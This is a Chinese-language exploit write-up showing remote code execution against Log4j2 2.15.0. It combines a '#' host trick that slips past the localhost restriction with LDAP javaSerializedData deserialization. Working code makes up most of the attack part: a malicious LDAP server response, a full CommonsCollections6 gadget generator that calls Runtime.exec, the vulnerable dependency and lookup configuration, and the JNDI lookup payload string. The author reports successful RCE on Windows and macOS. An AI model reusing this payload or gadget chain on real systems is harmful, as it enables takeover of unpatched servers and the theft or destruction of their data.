RCE分析
这一节的内容主要是分析:如果能够绕过localhost拿到目标IP情况下如何RCE
假设127.0.0.1#.4ra1n.love可以正常拿到IP地址,接下来需要解决RCE的问题
在文章一开始就有分析到,在2.15.0中禁了LDAP的javaFactory属性导致无法加载远程类,那么还能有什么思路呢
回顾0x00核心代码中的一个if分支
// javaSerializedData属性如果存在 if (attributeMap.get(SERIALIZED_DATA) != null) { if (classNameAttr != null) { String className = classNameAttr.get().toString(); // javaClassName是否为八大基本类型 if (!allowedClasses.contains(className)) { LOGGER.warn("Deserialization of {} is not allowed", className); return null; } ... } }
分析下lookup底层的LdapCtx.c_lookup方法
// 一个全局数组后面会用到 static final String[] JAVA_ATTRIBUTES = new String[]{ "objectClass", // JAVA_ATTRIBUTES[0] "javaSerializedData", // JAVA_ATTRIBUTES[1] "javaClassName", // JAVA_ATTRIBUTES[2] "javaFactory", // JAVA_ATTRIBUTES[3] "javaCodeBase", // JAVA_ATTRIBUTES[4] "javaReferenceAddress", // JAVA_ATTRIBUTES[5] "javaClassNames", // JAVA_ATTRIBUTES[6] "javaRemoteLocation" // JAVA_ATTRIBUTES[7] };
其中有这样一句针对javaClassName的校验,但仅仅是非空校验
// var4是LDAP Server传过来的数据 // 如果javaClassName不为空则进入Obj.decodeObject if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) { var3 = Obj.decodeObject((Attributes)var4); }
跟入decodeObject方法
static Object decodeObject(Attributes var0) throws NamingException { ... try { Attribute var1; // 如果javaSerializedData不为空 if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { // 类加载器 ClassLoader var3 = helper.getURLClassLoader(var2); // 跟入 return deserializeObject((byte[])((byte[])var1.get()), var3); } ... }
跟入deserializeObject方法,没有什么限制条件
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException { try { // var2中保存了序列化数据 ByteArrayInputStream var2 = new ByteArrayInputStream(var0); try { // 得到一个ObjectInputStream Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1); Throwable var21 = null; Object var5; try { // 反序列化调用对象的readObject方法 var5 = ((ObjectInputStream)var20).readObject(); } ... } } }
可以看到整个过程中没有对javaClassName和javaSerializedData验证
也就是说核心代码中类名白名单对javaClassName的限制没有用处,可以轻松绕过
然后将javaSerializedData属性设置为gadget的序列化数据,即可在readObject中触发RCE
(其实这个过程正是JDNI绕高版本JDK的一种方式)
RCE过程
这一节主要是搭建RCE的环境,编写特殊的LDAP Server
上文分析出了一种RCE的方式,但没有真正的实践
在LDAP Server中设置javaClassName为基本类型,然后设置javaSerializedData为Payload
这里的java.lang.String可以绕过类目白名单的检测
protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException { e.addAttribute("javaClassName", "java.lang.String"); e.addAttribute("javaSerializedData", payload); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
Payload选用了CC6链(这个就不分析了,也可以用很多其他的gadget来触发)
public static byte[] getCC6(String cmd) { try { Transformer transformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) }; Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test"); HashSet hashSet = new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test"); Field field = ChainedTransformer.class.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(transformer, transformers); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(hashSet); objectOutputStream.close(); byte[] data = outputStream.toByteArray(); outputStream.close(); return data; } catch (Exception e) { e.printStackTrace(); } return null; }
我将写好的LDAP Server部署到远程服务器上(该工具以后分享,最近不太方便)
本地引入Log4j2 2.15.0与CC依赖
<dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
配置开启lookup功能
<configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE-APPENDER" target="SYSTEM_OUT"> <PatternLayout pattern="%m{lookups}%n"/> </console> </appenders> <loggers> <root level="error"> <appender-ref ref="CONSOLE-APPENDER"/> </root> </loggers> </configuration>
打日志
public static void main(String[] args) throws Exception { logger.error("${jndi:ldap://127.0.0.1#.4ra1n.love:1389/badClassName}"); }
由于我的环境是Windows会在处理包含#号的Host时报错,所以在this.context.getAttributes(name);下断点并去掉#号
由于4ra1n.love域名开启了泛域名解析,所以127.0.0.1.4ra1n.love也会解析到对应的IP
成功利用本地的gadget达到RCE的效果
RCE实现
终于在这一节实现了真正的RCE
为了验证在MacOS中的结果,我将漏洞环境打包发给了天下大木头师傅
然后在服务端启动MacOS弹计算器的LDAP Server(该工具以后分享,最近不太方便)
木头师傅成功在MacOS上RCE,不需要进行其他修改